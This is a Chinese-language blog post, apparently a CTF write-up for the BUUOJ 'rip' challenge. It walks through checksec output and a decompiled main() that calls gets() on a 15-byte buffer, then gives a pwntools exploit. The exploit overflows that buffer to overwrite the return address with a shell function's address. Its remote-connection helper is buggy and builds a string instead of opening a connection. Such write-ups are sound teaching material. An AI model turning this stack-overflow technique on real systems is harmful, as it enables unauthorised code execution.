freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Easy_stack_overflow_3
0xdeadbeef 2021-10-11 10:38:59 28076

。RIP

Exp模板:

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./XXXX')
def remote_or_local(a):#用于选择打远程还是本地
    if a == 1:
        ip = str(raw_input('[+]please input ip:'))
        port = str(raw_input('[+]please input port:'))
        return  "remote"+"('"+ip+"'"+","+"port"+")"
    elif a == 0:
       return  elf.process()
sh=remote_or_local(a = 0)

RIP

考点:栈溢出

分析:

1、保护机制:

pwn@47d5989ab5ff ~/Pwn/Buu/rip  checksec pwn1
[*] '/home/pwn/Pwn/Buu/rip/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

2、程序信息:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

3、代码审计:

1、

main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF #定义了一个字符串类型的数组s

  puts("please input");
  gets(s, argv);#gets函数传参
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

4、思路:

简单的栈溢出,利用gets()函数的特性填充数据覆盖掉返回地址即可

5、动态调试:

6、EXP构造:(python2)

# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn1')
def remote_or_local(a):
    if a == 1:
        ip = str(raw_input('[+]please input ip:'))
        port = str(raw_input('[+]please input port:'))
        return  "remote"+"('"+ip+"'"+","+"port"+")"
    elif a == 0:
       return  elf.process()
sh=remote_or_local(a = 0)
shell_addr  = 0x0401186
payload  = 'A'*(0xf+0x8)+p64(shell_addr)
sh.recvuntil('please input')
sh.sendline(payload)
sh.interactive()

文章内容如有问题欢迎各位师傅指正^^

# CTF # 网络安全技术
本文为 0xdeadbeef 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Pwn-Buuoj刷题
0xdeadbeef LV.5
这家伙太懒了,还未填写个人描述!
  • 17 文章数
  • 10 关注者
Python Pwn
2022-11-18
linux Pwn环境搭建
2021-12-11
栈迁移利用
2021-11-29